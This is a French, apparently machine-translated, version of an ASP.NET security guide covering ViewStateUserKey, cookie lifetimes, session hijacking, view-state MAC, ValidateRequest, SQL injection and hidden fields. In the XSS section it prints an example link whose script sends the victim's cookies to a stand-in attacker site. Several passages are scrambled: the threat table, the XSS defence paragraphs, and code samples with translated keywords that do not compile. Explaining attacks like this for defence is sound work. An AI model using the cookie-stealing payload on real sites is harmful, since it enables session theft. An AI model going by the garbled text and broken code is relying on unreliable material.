Ce que les développeurs ASP.NET doivent toujours faire Si vous lisez cet article, vous n'avez probablement pas besoin d'être convaincu que la sécurité des applications Web est de plus en plus importante. Ce dont vous avez probablement besoin, ce sont des conseils pratiques sur la façon d'implémenter la sécurité dans votre application ASP.NET. La mauvaise nouvelle est qu'aucune plate-forme de développement, y compris ASP.NET, ne peut garantir qu'une fois la plate-forme adoptée, vous serez en mesure d'écrire du code 100 % sécurisé. Quiconque dit cela doit mentir. La bonne nouvelle est que dans le cas d'ASP.NET, ASP.NET, en particulier la version 1.1 et la prochaine version 2.0, intègre des défenses intégrées faciles à utiliser.
L’application de toutes ces fonctionnalités ne suffit pas à elle seule à protéger une application Web de toutes les attaques possibles et prévisibles. Cependant, lorsqu'elle est combinée à d'autres techniques de défense et stratégies de sécurité, la fonctionnalité ASP.NET intégrée peut former une boîte à outils puissante pour garantir que les applications s'exécutent dans un environnement sécurisé.
La sécurité Web est la somme de nombreux facteurs et le résultat d'une stratégie qui s'étend bien au-delà d'une seule application et implique la gestion de bases de données, la configuration du réseau, l'ingénierie sociale et le phishing.
Le but de cet article est d'expliquer ce que les développeurs ASP.NET doivent toujours faire pour maintenir les normes de sécurité à un niveau raisonnable. C’est ça la sécurité : rester vigilant et ne jamais baisser complètement la garde, ce qui rend le piratage de plus en plus difficile pour les méchants.
Jetons un coup d'œil aux fonctionnalités fournies par ASP.NET pour simplifier ce travail.
Retour au début Sources de menaces Dans le tableau 1, j'ai résumé les types d'attaques Web les plus courants, ainsi que les failles des applications qui pourraient permettre à ces attaques de réussir.
Auteurs possibles des attaques Cross-site scripting (XSS)
Entrée utilisateur non fiable répercutée sur la page
Injection SQL Entrée utilisateur concaténée pour former une commande SQL
Détournement de session ID de session ID de session deviné et volé Cookies
HTTP non observé en un clic envoyé via un script Publication
de falsification de domaine cachée non vérifiée (et de confiance) les champs cachés sont remplis avec des informations sensibles données
Quels sont les faits clés qui ressortent de cette liste d'
attaques Web courantes
?À mon avis, il y a au moins trois choses :
• Chaque fois que vous insérez une entrée utilisateur dans le balisage du navigateur, vous vous exposez potentiellement à des attaques par injection de code (toutes les injections SQL et variantes XSS).
• L'accès à la base de données doit être mis en œuvre de manière sécurisée, c'est-à-dire en utilisant le moins d'autorisations possible pour la base de données et en répartissant les responsabilités des utilisateurs individuels selon les rôles.
• Les données sensibles ne doivent jamais être envoyées sur le réseau (et encore moins en clair) et doivent être stockées sur le serveur de manière sécurisée.
Il est intéressant de noter que les trois points ci-dessus ciblent respectivement trois aspects différents de la sécurité Web, et que la combinaison de ces trois aspects est le seul moyen raisonnable de générer des applications à l'épreuve des attaques et des falsifications. Les différentes couches de sécurité web peuvent être résumées comme suit :
• Pratiques de codage : validation des données, vérifications du type et de la longueur du tampon, mesures d'inviolabilité
• Politiques d'accès aux données : utiliser des décisions pour protéger les comptes les plus faibles possibles, utiliser des procédures stockées ou au moins un paramétrage commande.
• Stockage et gestion efficaces : n'envoyez pas de données critiques au client, utilisez des codes de hachage pour détecter les opérations, authentifier les utilisateurs et protéger les identités, appliquez des politiques de mot de passe strictes.
Comme vous pouvez le constater, les applications sécurisées ne peuvent être produites que grâce aux efforts combinés des développeurs, des architectes et des administrateurs. Ne présumez pas que vous pouvez atteindre le même objectif d’une autre manière.
Lorsque vous écrivez une application ASP.NET, vous n'êtes pas seul face à une armée de hackers : vos seules armes sont les lignes de code que vous tapez avec votre cerveau, vos compétences et vos doigts. ASP.NET 1.1 et versions ultérieures viennent à la rescousse avec des fonctionnalités spécifiques qui augmentent automatiquement votre défense contre certaines des menaces répertoriées ci-dessus. Ci-dessous, nous les examinons en détail.
ViewStateUserKey
Introduite depuis ASP.NET 1.1, ViewStateUserKey est une propriété de chaîne de la classe Page que seuls quelques développeurs connaissent réellement. Pourquoi? Voyons ce que dit la documentation.
de l'attribution d'un identifiant à un utilisateur individuel dans la variable d'état d'affichage associée à la page actuelle
, le sens de cette phrase est assez clair, mais pouvez-vous honnêtement me dire qu'elle décrit le but initial de la propriété ? Pour comprendre le rôle de ViewStateUserKey, vous devez continuer à lire jusqu'à la section Remarques.
Cette propriété permet d'éviter les attaques en un clic, car elle fournit une entrée supplémentaire pour créer un hachage qui empêche la falsification de l'état d'affichage. En d’autres termes, ViewStateUserKey rend beaucoup plus difficile pour les pirates informatiques d’utiliser le contenu de l’état d’affichage du client pour préparer des publications malveillantes sur un site. Cette propriété peut se voir attribuer n'importe quelle chaîne non vide, mais il s'agit de préférence de l'ID de session ou de l'ID de l'utilisateur. Pour mieux comprendre l'importance de cette propriété, présentons brièvement les bases des attaques en un clic.
Une attaque en un clic consiste à publier un formulaire HTTP malveillant sur un site Web connu et vulnérable. C'est ce qu'on appelle le « un clic » car cela commence souvent lorsque la victime clique par inadvertance sur un lien tentant qu'elle trouve par e-mail ou en naviguant sur un forum bondé. En cliquant sur le lien, l'utilisateur a déclenché par inadvertance un processus à distance qui a finalement abouti à la soumission d'un <form> malveillant à un site. Soyons honnêtes : pouvez-vous vraiment me dire que vous n'avez jamais cliqué sur un lien comme Cliquez ici pour gagner 1 000 000 $ par curiosité ? Visiblement, il ne vous est rien arrivé de grave. Supposons que ce soit le cas ; pouvez-vous dire que tous les autres membres de la communauté Web ont survécu ? Qui sait.
Pour réussir, une attaque en un clic nécessite certaines conditions de base :
• L'attaquant doit avoir une connaissance suffisante du site vulnérable. Cela est possible parce que l'attaquant pourrait étudier le dossier « avec diligence » ou qu'il s'agit d'un interne en colère (par exemple, un employé qui a été licencié pour avoir été malhonnête). Les conséquences d’une telle attaque peuvent donc être extrêmement graves.
• Le site doit utiliser des cookies (les cookies persistants sont préférables) pour permettre l'authentification unique, et l'attaquant a reçu un cookie d'authentification valide.
• Certains utilisateurs du site ont effectué des transactions sensibles.
• L'attaquant doit avoir accès à la page cible.
Comme mentionné précédemment, l'attaque consiste à soumettre un formulaire HTTP malveillant à une page qui attend le formulaire. On peut en déduire que cette page utilisera les données publiées pour effectuer certaines opérations sensibles. Comme vous pouvez l'imaginer, l'attaquant sait exactement comment utiliser chaque domaine et peut proposer de fausses valeurs pour atteindre ses objectifs. Il s'agit généralement d'une attaque spécifique à une cible et difficile à retracer en raison de la relation triangulaire qu'elle crée : le pirate informatique incite la victime à cliquer sur un lien sur le site du pirate informatique, ce qui entraîne la publication du code malveillant sur un site Web. tiers. Trois sites.
Pourquoi cette victime sans méfiance ? En effet, dans ce cas, l'adresse IP à partir de laquelle la requête malveillante apparaît dans les journaux du serveur est l'adresse IP de la victime. Comme mentionné précédemment, cet outil n'est pas aussi courant (et facile à lancer) que le XSS « classique » cependant, sa nature fait que ses conséquences peuvent être catastrophiques ; Comment y faire face ? Nous examinons ensuite le fonctionnement de cette attaque dans l'environnement ASP.NET.
À moins que l'action ne soit codée dans l'événement Page_Load, il est tout simplement impossible pour une page ASP.NET d'exécuter du code sensible en dehors d'un événement de publication. Pour que l’événement de publication se produise, le champ d’état d’affichage est requis. Gardez à l'esprit qu'ASP.NET vérifie l'état de publication de la demande et, selon que le champ de saisie _VIEWSTATE est présent ou non, définit IsPostBack en conséquence. Par conséquent, quiconque souhaite envoyer une fausse requête à une page ASP.NET doit fournir un champ d’état d’affichage valide.
Pour qu’une attaque en un clic réussisse, le pirate informatique doit pouvoir accéder à la page. À ce stade, un pirate informatique prévoyant sauvegarderait la page localement. De cette façon, il peut accéder au champ _VIEWSTATE et utiliser ce champ pour créer des requêtes avec l'ancien état d'affichage et des valeurs malveillantes provenant d'autres champs. La question est : est-ce que cela fonctionnera ?
Pourquoi pas? Si l'attaquant peut fournir un cookie d'authentification valide, le pirate informatique obtiendra l'entrée et la demande sera traitée normalement. Le contenu de l'état d'affichage n'est pas du tout vérifié sur le serveur (lorsque EnableViewStataMac est désactivé), ou uniquement s'il a été falsifié. Par défaut, il n'existe aucun mécanisme dans l'état d'affichage pour associer ce contenu à un utilisateur spécifique. Un attaquant peut facilement réutiliser l'état d'affichage obtenu pour accéder légitimement à la page en se faisant passer pour un autre utilisateur pour générer de fausses demandes. C'est là qu'intervient ViewStateUserKey.
Si elle est sélectionnée avec précision, cette propriété peut ajouter des informations spécifiques à l'utilisateur à l'état d'affichage. Lors du traitement d'une requête, ASP.NET extrait la clé de l'état d'affichage et la compare avec la ViewStateUserKey de la page en cours d'exécution. Si les deux correspondent, la demande sera considérée comme légitime ; sinon, une exception sera levée. Quelles valeurs sont valables pour cet attribut ?
Définir ViewStateUserKey sur une chaîne constante pour tous les utilisateurs équivaut à la laisser vide. Vous devez lui attribuer une valeur différente pour chaque utilisateur : un ID utilisateur, de préférence un ID de session. Pour certaines raisons techniques et sociales, les ID de session sont plus appropriés car ils sont imprévisibles, expirent avec le temps et sont différents pour chaque utilisateur.
Voici du code indispensable dans toutes vos pages :
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID ;
:
}
Pour éviter d'écrire ce code à plusieurs reprises, vous pouvez les épingler dans la méthode virtuelle OnInit d'une classe dérivée de Page. (Notez que vous devez définir cette propriété dans l'événement Page.Init.)
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID ;
}
En général, utiliser des classes de pages de base est toujours une bonne chose, comme je l'ai expliqué dans l'article Créez vos pages ASP.NET sur un substrat rocheux plus riche. Si vous souhaitez en savoir plus sur les tactiques utilisées par les attaquants en un clic, vous pouvez trouver un très bon article sur aspnetpro.com.
Cookies et authentification
Les cookies existent parce qu'ils aident les développeurs à atteindre un certain objectif. Les cookies agissent comme un lien persistant entre le navigateur et le serveur. En particulier pour les applications qui utilisent l’authentification unique, les cookies volés rendent les attaques possibles. Cela est absolument vrai pour une attaque en un clic.
Pour utiliser des cookies, vous n'avez pas besoin de les créer et de les lire explicitement par programme. Si vous utilisez l'état de session et implémentez l'authentification par formulaire, vous utilisez implicitement des cookies. Bien entendu, ASP.NET prend en charge l'état de session sans cookie et ASP.NET 2.0 introduit également l'authentification par formulaire sans cookie. Vous pouvez donc théoriquement utiliser ces fonctionnalités sans cookies. Je ne dis pas que vous n'êtes plus obligé de faire cela, mais le fait est que c'est l'une de ces situations où le remède est pire que le mal. Une session sans cookie intègre en fait l'ID de session dans l'URL afin que tout le monde puisse le voir.
Quels sont les problèmes potentiels liés à l’utilisation de cookies ? Les cookies peuvent être volés (c'est-à-dire copiés sur l'ordinateur d'un pirate informatique) et empoisonnés (c'est-à-dire remplis de données malveillantes). Ces actions sont souvent le prélude à une attaque imminente. En cas de vol, le cookie « autorise » les utilisateurs externes à se connecter à l'application (et à utiliser les pages protégées) en votre nom, permettant potentiellement à un pirate informatique de contourner facilement l'autorisation et de faire ce que le rôle et les paramètres de sécurité permettent à la victime de faire. toute opération. Par conséquent, les cookies d’authentification ont généralement une durée de vie relativement courte de 30 minutes. (Notez que même si une session de navigateur prend plus de temps, le cookie expirera quand même.) En cas de vol, les pirates disposent d'un délai de 30 minutes pour tenter une attaque.
Vous pouvez allonger ce délai afin que les utilisateurs n'aient pas à se connecter trop souvent ; mais sachez que vous vous mettez en danger en le faisant. L'utilisation de cookies persistants ASP.NET doit être évitée en toutes circonstances. Il en résultera des cookies avec une durée de vie quasi permanente pouvant aller jusqu'à 50 ans ! L'extrait de code suivant montre comment modifier facilement la date d'expiration d'un cookie.
void OnLogin (expéditeur d'objet, EventArgs e) {
// Vérification des informations d'identification
if (ValidateUser (utilisateur, mot de passe)) {
// Fixe la date d'expiration du cookie
Cookie HTTPCookie ;
cookie = FormsAuthentication.GetAuthCookie(utilisateur, isPersistent);
si (est persistant)
cookie.Expires = DateTime.Now.AddDays(10);
//Ajoute le cookie à la réponse
Réponse.Cookies.Add(cookie);
//Réorienter
chaîne URLcible ;
targetUrl = FormsAuthentication.GetRedirectUrl (utilisateur, isPersistent);
Réponse.Redirect(targetUrl);
}
}
Vous pouvez utiliser ce code dans votre formulaire de connexion pour affiner la durée de vie du cookie d'authentification.
détournement de session
Les cookies sont également utilisés pour récupérer l'état de session d'un utilisateur spécifique. L'ID de session est stocké dans un cookie qui est envoyé dans les deux sens avec la demande et stocké sur l'ordinateur du navigateur. De même, en cas de vol, un cookie de session pourrait être utilisé pour permettre à un pirate informatique de s'introduire dans le système et d'accéder à l'état de session de quelqu'un d'autre. Inutile de dire que cela est possible tant que la session spécifiée est active (généralement pas plus de 20 minutes). Une attaque via un état de session usurpé est appelée détournement de session. Pour plus d'informations sur le piratage de session, lisez Vol sur le Web : Prévenir le piratage de session.
À quel point cette attaque est-elle dangereuse ? C'est difficile à dire. Cela dépend de la fonctionnalité du site Web et, plus important encore, de la manière dont les pages du site sont conçues. Par exemple, supposons que vous puissiez obtenir le cookie de session de quelqu'un d'autre et le joindre à une demande d'accès à une page de votre site. Vous chargez la page et parcourez son interface utilisateur normale. Vous ne pouvez pas injecter de code dans la page, ni rien modifier dans la page, sauf que la page fonctionne en utilisant l'état de session d'un autre utilisateur. Ce n'est pas trop grave en soi, mais si les informations contenues dans cette session sont sensibles et critiques, cela pourrait conduire directement à un exploit réussi. Un pirate informatique ne peut pas pénétrer dans le contenu d'un magasin de sessions, mais il peut utiliser les informations qui y sont stockées comme s'il y était entré légalement. Par exemple, considérons une application de commerce électronique dans laquelle les utilisateurs ajoutent des articles à leur panier tout en parcourant le site.
• Option 1. Le contenu du panier est stocké en état de session. Cependant, lors du paiement, les utilisateurs sont invités à confirmer et à saisir les informations de paiement via une connexion SSL sécurisée. Dans ce cas, en accédant à l'état de session des autres utilisateurs, le pirate informatique ne peut obtenir que quelques détails sur les préférences d'achat de la victime. Le détournement dans cet environnement ne cause en réalité aucun dommage. Ce qui est en jeu, c'est la confidentialité.
• Option 2. L'application traite un profil pour chaque utilisateur enregistré et enregistre le profil en état de session. Pire encore, le profil comprend (probablement) des informations de carte de crédit. Pourquoi les détails du profil sont-ils stockés dans la session ? L’un des objectifs de l’application est peut-être d’éviter aux utilisateurs d’avoir à saisir à plusieurs reprises leurs informations de carte de crédit et bancaires. Par conséquent, lors du paiement, l'application dirige l'utilisateur vers une page avec un domaine pré-rempli. Inutilement, l'un de ces champs est un numéro de carte de crédit obtenu à partir de l'état de session. Pouvez-vous deviner maintenant comment se termine l’histoire ?
La conception des pages d’application est la clé pour prévenir les attaques de piratage de session. Bien entendu, il reste encore deux points qui n’ont pas été clarifiés. Le premier point est : comment prévenir le vol de cookies ? Le deuxième point est la suivante : comment ASP.NET peut-il détecter et empêcher le détournement ?
Les cookies de session ASP.NET sont extrêmement simples et se limitent à contenir la chaîne d'ID de session elle-même. Le runtime ASP.NET extrait l'ID de session du cookie et le compare à la session active. Si l'ID est valide, ASP.NET se connectera à la session correspondante et continuera. Ce comportement facilite grandement les pirates qui ont volé ou peuvent deviner un identifiant de session valide.
Les attaques XSS et man-in-the-middle, ainsi que l'accès par force brute au PC client, sont autant de moyens d'obtenir des cookies valides. Pour prévenir le vol, vous devez mettre en œuvre les meilleures pratiques de sécurité pour empêcher XSS et ses variantes de réussir.
Et pour éviter de deviner l’ID de session, vous devez simplement éviter de surestimer vos compétences. Deviner un ID de session signifie que vous savez comment prédire une chaîne d'ID de session valide. Pour l'algorithme utilisé par ASP.NET (15 nombres aléatoires mappés sur des caractères compatibles URL), la probabilité de deviner au hasard un identifiant valide est proche de zéro. Je ne vois aucune raison de remplacer le générateur d'ID de session par défaut par le vôtre. Dans de nombreux cas, cela ne fera que faciliter la tâche de l’attaquant.
La pire conséquence du détournement de session est qu'une fois qu'un cookie est volé ou deviné, ASP.NET n'a aucun moyen de détecter l'utilisation frauduleuse des cookies. Encore une fois, la raison est qu'ASP.NET se limite à vérifier la validité de l'ID et l'origine du cookie.
Mon ami Jeff Prosise de Wintellect a écrit un bon article sur le détournement de session pour MSDN Magazine. Sa conclusion n’est pas rassurante : il est presque impossible de construire des défenses capables de protéger complètement contre les attaques basées sur des cookies d’identification de session volés. Mais le code qu’il a développé fournit des suggestions très judicieuses pour améliorer encore les normes de sécurité. Jeff a créé un module HTTP qui surveille les demandes entrantes et les réponses sortantes pour les cookies d'ID de session. Ce module ajoute un code de hachage à l'ID de session, ce qui rend plus difficile la réutilisation du cookie par un attaquant. Vous pouvez lire les détails ici.
ActiverViewStateMac
L’état d’affichage permet de maintenir l’état d’un contrôle entre deux requêtes consécutives pour la même page. Par défaut, l'état d'affichage est codé en Base64 et signé avec un hachage pour empêcher toute falsification. Il n'est pas possible de modifier l'état d'affichage sans modifier les paramètres de page par défaut. Si un attaquant modifie l'état d'affichage, ou même le régénère à l'aide de l'algorithme correct, ASP.NET interceptera ces tentatives et lèvera une exception. La falsification de l'état d'affichage n'est pas nécessairement dangereuse, même si elle modifie l'état des contrôles du serveur, mais elle peut être le vecteur d'infections graves. Par conséquent, il est extrêmement important de ne pas supprimer la vérification croisée du code d’authentification de l’ordinateur (MAC) qui se produit par défaut.
Lorsque la vérification MAC est activée (valeur par défaut), une valeur de hachage est ajoutée à l'état d'affichage sérialisé, qui est généré à l'aide d'une valeur côté serveur et du secret utilisateur de l'état d'affichage (le cas échéant). Lorsque l'état d'affichage est publié, le hachage est recalculé à l'aide de la nouvelle valeur côté serveur et comparé à la valeur stockée. Si les deux correspondent, la demande est autorisée ; sinon, une exception est levée. Même en supposant qu'un pirate informatique ait la capacité de pirater et de régénérer l'état d'affichage, il aurait toujours besoin de connaître la valeur stockée par le serveur afin d'en dériver un hachage valide. Plus précisément, le pirate informatique doit connaître la clé de l'ordinateur référencée dans l'entrée <machineKey> de machine.config.
Par défaut, les entrées sont automatiquement générées et stockées physiquement dans l'autorité de sécurité locale (LSA) Windows. Ce n'est que dans le cas d'une batterie de serveurs Web, où la clé machine pour l'état d'affichage doit être la même sur toutes les machines, que vous devez la spécifier en texte clair dans le fichier machine.config.
La vérification MAC de l’état d’affichage est contrôlée via un attribut de directive @Page nommé EnableViewStateMac. Comme mentionné précédemment, par défaut, il est défini sur true. Veuillez ne jamais désactiver cette option ; cela rendrait possible une attaque en un clic contre la falsification de l’état d’affichage avec une forte probabilité de succès.
ValidateRequest
Le cross-site scripting (XSS) est un vieil ami de nombreux développeurs Web expérimentés, existant depuis 1999. En termes simples, XSS exploite les vulnérabilités du code pour introduire le code exécutable d'un pirate informatique dans la session de navigateur d'un autre utilisateur. S'il est exécuté, le code injecté peut effectuer un certain nombre d'actions différentes : obtenir un cookie et télécharger une copie sur un site Web contrôlé par des pirates, surveiller la session Web de l'utilisateur et transférer des données, modifier le comportement et l'apparence de la page piratée afin qu'elle Fournissez de fausses informations ou même persistez afin que la prochaine fois que l'utilisateur reviendra sur la page, le code trompeur s'exécutera à nouveau. Apprenez-en davantage sur les bases des attaques XSS dans l’article TechNet Cross-site Scripting Overview.
Quelles vulnérabilités du code rendent les attaques XSS possibles ?
XSS exploite les applications Web qui génèrent dynamiquement des pages HTML mais ne valident pas l'entrée renvoyée à la page. La saisie ici fait référence aux chaînes de requête, aux cookies et au contenu des champs de formulaire. Si ce contenu apparaît sur le Web sans vérifications de performances appropriées, il existe un risque que des pirates informatiques puissent le manipuler pour exécuter des scripts malveillants dans les navigateurs clients. (L'attaque en un clic mentionnée précédemment est en fait une variante récente de XSS.) Une attaque XSS typique amène un utilisateur sans méfiance à cliquer sur un lien tentant qui a échappé au code de script intégré dans le lien. Le code trompeur sera envoyé à une page vulnérable qui le publiera sans soupçon. Voici un exemple de ce qui pourrait arriver :
<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Cliquez pour réclamer votre prix</a>
L'utilisateur clique sur un lien apparemment sûr, ce qui conduit finalement à la transmission d'un code de script vers une page vulnérable. Ces codes obtiennent d'abord tous les cookies sur l'ordinateur de l'utilisateur. Ils sont puis envoyé au site Web du pirate informatique.
Il est important de noter que XSS n'est pas un problème spécifique au fournisseur, il n'affecte donc pas nécessairement tous les serveurs Web et navigateurs actuellement sur le marché. Il convient de noter qu'aucun correctif ne peut résoudre ce problème.
problème. Vous pouvez protéger complètement vos pages contre les attaques XSS en appliquant des mesures spécifiques et des pratiques de codage raisonnables. Veuillezégalement
noter qu'un utilisateur n'a pas besoin de lancer une attaque en cliquant sur un lien.
déterminer quelles entrées sont valides, puis refuser toutes les autres entrées. Vous pouvez lire une liste de contrôle détaillée pour vous défendre contre les attaques XSS dans ce livre à lire absolument chez Microsoft : Writing Secure Code, de Michael Howard et David LeBlanc. que vous avez lu au chapitre 13.
Le principal moyen de prévenir les attaques XSS insidieuses est d'alimenter vos entrées (tout type de données d'entrée). Ajoutez une couche de validation bien conçue et efficace, par exemple,
dans
certains cas, même des couleurs autrement inoffensives. tricolor) a introduit des scripts non contrôlés directement dans la page.Lorsque l'attribut ValidateRequest de la directive @Page est activé, une vérification est effectuée pour garantir que l'utilisateur n'a pas envoyé de balises HTML potentiellement dangereuses dans la chaîne de requête, les cookies ou les champs de formulaire. Si cela est détecté, une exception est déclenchée et la requête est abandonnée. Cet attribut est activé par défaut ; vous n'avez rien à faire pour être protégé. Si vous souhaitez autoriser le passage des balises HTML, vous devez le désactiver activement.
<%@ Page ValidateRequest="false" %>
ValidateRequest
n'est pas une panacée et ne remplace pas une couche de validation valide. Lisez ici de nombreuses informations précieuses sur les principes sous-jacents de cette fonctionnalité. séquences nuisibles en appliquant une expression régulière.
NOTE La fonctionnalité ValidateRequest est intrinsèquement buggée. Vous devez donc appliquer un patch pour qu'elle fonctionne comme prévu. Bizarrement, j'ai constaté qu'une de mes machines était toujours affectée par cette faille
sans aucune fermeture de. ValidateRequest ! Raisons. Vous pouvez le désactiver, mais vous devez avoir une très bonne raison ; l'une de ces raisons pourrait être que les utilisateurs doivent pouvoir publier du code HTML sur le site afin d'obtenir de meilleures options de formatage. Dans ce cas, vous devez limiter le nombre de balises HTML autorisées (<pre>, <b>, <i>, <p>, <br>, <hr>) et écrire une expression régulière pour vous assurer que rien d'autre ne sera autorisé. ou accepté.
Voici quelques conseils supplémentaires pour protéger ASP.NET contre les attaques XSS :
• Utilisez HttpUtility.HtmlEncode pour convertir les symboles dangereux en leurs représentations HTML.
• Utilisez des guillemets doubles au lieu de guillemets simples, car l'encodage HTML n'échappe qu'aux guillemets doubles.
• Forcer une page de codes pour limiter le nombre de caractères pouvant être utilisés.
En bref, utilisez mais ne faites pas entièrement confiance à la propriété ValidateRequest et ne soyez pas trop paresseux. Prenez le temps de comprendre fondamentalement les menaces de sécurité comme XSS et planifiez une stratégie de défense centrée sur un point clé : toute entrée d’utilisateur est dangereuse.
Point de vue de la base de données
L'injection SQL est un autre type d'attaque bien connu qui exploite des applications qui utilisent des entrées utilisateur non vérifiées pour former des commandes de base de données. Si une application utilise allègrement ce que l'utilisateur tape dans un champ de formulaire pour créer une chaîne de commande SQL, elle vous expose au risque qu'un utilisateur malveillant puisse modifier la nature de la requête simplement en visitant la page et en saisissant des paramètres frauduleux. Vous pouvez en savoir plus sur l'injection SQL ici.
Il existe de nombreuses façons de prévenir les attaques par injection SQL. Les techniques les plus courantes sont décrites ci-dessous.
• Assurez-vous que la saisie de l'utilisateur est du type approprié et suit le modèle attendu (code postal, numéro d'identification, e-mail, etc.). Si un nombre provenant d'une zone de texte est attendu, bloquez la demande lorsque l'utilisateur saisit quelque chose qui ne peut pas être converti en nombre.
• Utilisez des requêtes paramétrées, de préférence des procédures stockées.
• Utilisez les autorisations SQL Server pour limiter ce que les utilisateurs individuels peuvent faire sur la base de données. Par exemple, vous devrez peut-être désactiver xp_cmdshell ou limiter l'opération aux administrateurs uniquement.
Si vous utilisez des procédures stockées, vous pouvez réduire considérablement la possibilité de cette attaque. En fait, avec les procédures stockées, vous n'avez pas besoin de composer dynamiquement des chaînes SQL. De plus, SQL Server vérifiera que tous les paramètres ont le type spécifié. Même si ces techniques ne sont pas à elles seules sûres à 100 %, couplées à une vérification, elles suffiront à améliorer la sécurité.
Plus important encore, vous devez vous assurer que seuls les utilisateurs autorisés peuvent effectuer des opérations pouvant avoir des conséquences graves, comme la suppression d'une table. Cela nécessite une conception minutieuse du niveau intermédiaire de l’application. Une bonne technique (pas seulement pour des raisons de sécurité) consiste à rester concentré sur le personnage. Les utilisateurs doivent être regroupés en rôles et un compte défini avec un ensemble minimum d'autorisations pour chaque rôle.
Il y a quelques semaines, le site Web Wintellect a été victime d'une attaque par injection SQL très sophistiquée. Le pirate informatique a tenté de créer et de lancer un script FTP pour télécharger un programme exécutable potentiellement malveillant. Heureusement, l’attaque a échoué. Ou est-ce en fait l'authentification forte des utilisateurs, l'utilisation de procédures stockées et l'utilisation des autorisations SQL Server qui ont provoqué l'échec de l'attaque ?
En résumé, vous devez suivre ces directives pour éviter de recevoir du code SQL dangereux :
• Exécutez avec le moins de privilèges possible et n'exécutez jamais de code en tant que « sa ».
• Restreindre l'accès aux procédures stockées intégrées.
• Préférez utiliser des requêtes paramétrées SQL.
• Les instructions ne sont pas générées par concaténation de chaînes et les erreurs de base de données ne sont pas répercutées.
Haut de la page Champs masqués Dans l'ASP traditionnel, les champs masqués constituaient le seul moyen de conserver les données entre les requêtes. Toutes les données que vous devez récupérer lors de la requête suivante sont regroupées dans le champ <input> caché et la passe de retour est effectuée. Que se passe-t-il si quelqu'un modifie la valeur stockée dans ce champ sur le client ? Tant que le texte est clair, l'environnement côté serveur ne peut pas le détecter. Dans ASP.NET, la propriété ViewState des pages et des contrôles individuels sert à deux fins. D'une part, ViewState est un moyen de conserver l'état entre les requêtes ; d'autre part, ViewState vous permet de stocker des valeurs personnalisées dans des champs cachés qui sont protégés et ne peuvent pas être facilement falsifiés.
Comme le montre la figure 2, l'état d'affichage est accompagné d'une valeur de hachage, et pour chaque demande, cette valeur est vérifiée pour détecter si une falsification a eu lieu. À l'exception de quelques cas, il n'y a aucune raison d'utiliser des champs masqués dans ASP.NET. L'état d'affichage permet d'obtenir la même fonctionnalité de manière beaucoup plus sûre. Comme mentionné d'emblée, le stockage de valeurs sensibles (telles que les prix ou les détails de la carte de crédit) dans des champs cachés en clair ouvre la porte aux pirates. mécanisme de protection des données. Cependant, gardez à l’esprit que l’état d’affichage est infalsifiable, mais que la confidentialité n’est pas garantie à moins que le cryptage ne soit utilisé : les informations de carte de crédit stockées dans l’état d’affichage sont de toute façon menacées.
Dans ASP.NET, quand est-il acceptable d’utiliser des champs masqués ? Lorsque vous créez un contrôle personnalisé qui doit renvoyer des données au serveur. Par exemple, supposons que vous souhaitiez créer un nouveau contrôle DataGrid prenant en charge la réorganisation des colonnes. Vous devez renvoyer la nouvelle commande au serveur dans une publication. Si ces informations ne sont pas stockées dans un champ masqué, où peuvent-elles être stockées ?
Si le champ caché est un champ en lecture/écriture, c'est-à-dire que le client est censé y écrire, il n'y a aucun moyen d'empêcher complètement une attaque de pirate informatique. Vous pouvez essayer de hacher ou de chiffrer le texte, mais cela ne vous donne pas une certitude raisonnable qu'il ne sera pas piraté. À ce stade, la meilleure défense consiste à ce que le champ caché contienne des informations inertes et inoffensives.
De plus, il convient de noter qu'ASP.NET expose une classe peu connue qui peut être utilisée pour coder et hacher n'importe quel objet sérialisé. Cette classe est LosFormatter, la même classe que ViewState implémente pour créer le texte codé pour le client.
chaîne privée EncodeText (texte de chaîne) {
StringWriter écrivain = new StringWriter();
Formateur LosFormatter = new LosFormatter();
formateur.Serialize(écrivain, texte);
return écrivain.ToString();
}
L'extrait de code précédent montre comment utiliser LosFormatter pour créer quelque chose comme un état d'affichage, l'encoder et le hacher.
E-mail et spam À la fin de cet article, permettez-moi de souligner qu'au moins deux des attaques les plus courantes (XSS classique et one-click) consistent généralement à inciter des victimes sans méfiance à cliquer sur des éléments tentants et trompeurs initiés par le lien. Nous pouvons souvent trouver de tels liens dans notre boîte de réception, malgré les filtres anti-spam. Vous pouvez acheter de nombreuses adresses e-mail pour quelques dollars. L'une des principales techniques utilisées pour générer de telles listes consiste à analyser les pages publiques d'un site Web pour rechercher et récupérer tout ce qui ressemble à un message électronique.
Si une adresse e-mail est affichée sur la page, il est probable que tôt ou tard, l'adresse sera capturée par un programme Web automatisé. Vraiment? Bien entendu, cela dépend de la manière dont l’e-mail est affiché. Si vous le codez en dur, vous perdez. Il n'est pas clair qu'une autre représentation, telle que dino-at-microsoft-dot-com, serait capable de tromper les programmes Web automatisés, mais cela donnerait certainement envie à quiconque lisant votre page d'établir une connexion légitime en colère.
En général, vous devez déterminer un moyen de générer dynamiquement des messages électroniques sous forme de liens mailto. C'est exactement ce que fait un composant gratuit écrit par Marco Bellinaso. Vous pouvez obtenir le code source complet de ce composant sur le site Web DotNet2TheMax.
Résumé Quelqu'un soupçonne-t-il que le Web est peut-être le plus hostile de tous les environnements d'exécution ? La cause première est que n’importe qui peut accéder à un site Web et essayer de lui transmettre des données bonnes ou mauvaises. Mais quel est l’intérêt de créer une application Web qui n’accepte pas les entrées des utilisateurs ?
Soyons réalistes : quelle que soit la puissance de votre pare-feu, quelle que soit la fréquence à laquelle vous appliquez les correctifs disponibles, tant que vous exécutez une application Web contenant des failles inhérentes, tôt ou tard un attaquant pourra accéder directement au canal principal, qui est le port 80. Accédez au cœur de votre système.
Les applications ASP.NET ne sont ni plus vulnérables ni plus sécurisées que les autres applications Web. La sécurité et les vulnérabilités sont également ancrées dans les pratiques de codage, l'expérience du monde réel et le travail d'équipe. Si le réseau n’est pas sécurisé, aucune application n’est sécurisée ; de même, quel que soit le niveau de sécurité et de bonne gestion du réseau, si l’application est défectueuse, les attaquants pourront toujours y accéder.
L'avantage d'ASP.NET est qu'il fournit de bons outils qui, avec un peu de travail, peuvent élever les normes de sécurité à un niveau acceptable. Bien sûr, ce n’est pas un niveau assez élevé. Vous ne devez pas vous fier uniquement aux solutions intégrées d’ASP.NET, ni les ignorer. Apprenez-en autant que possible sur les attaques courantes.
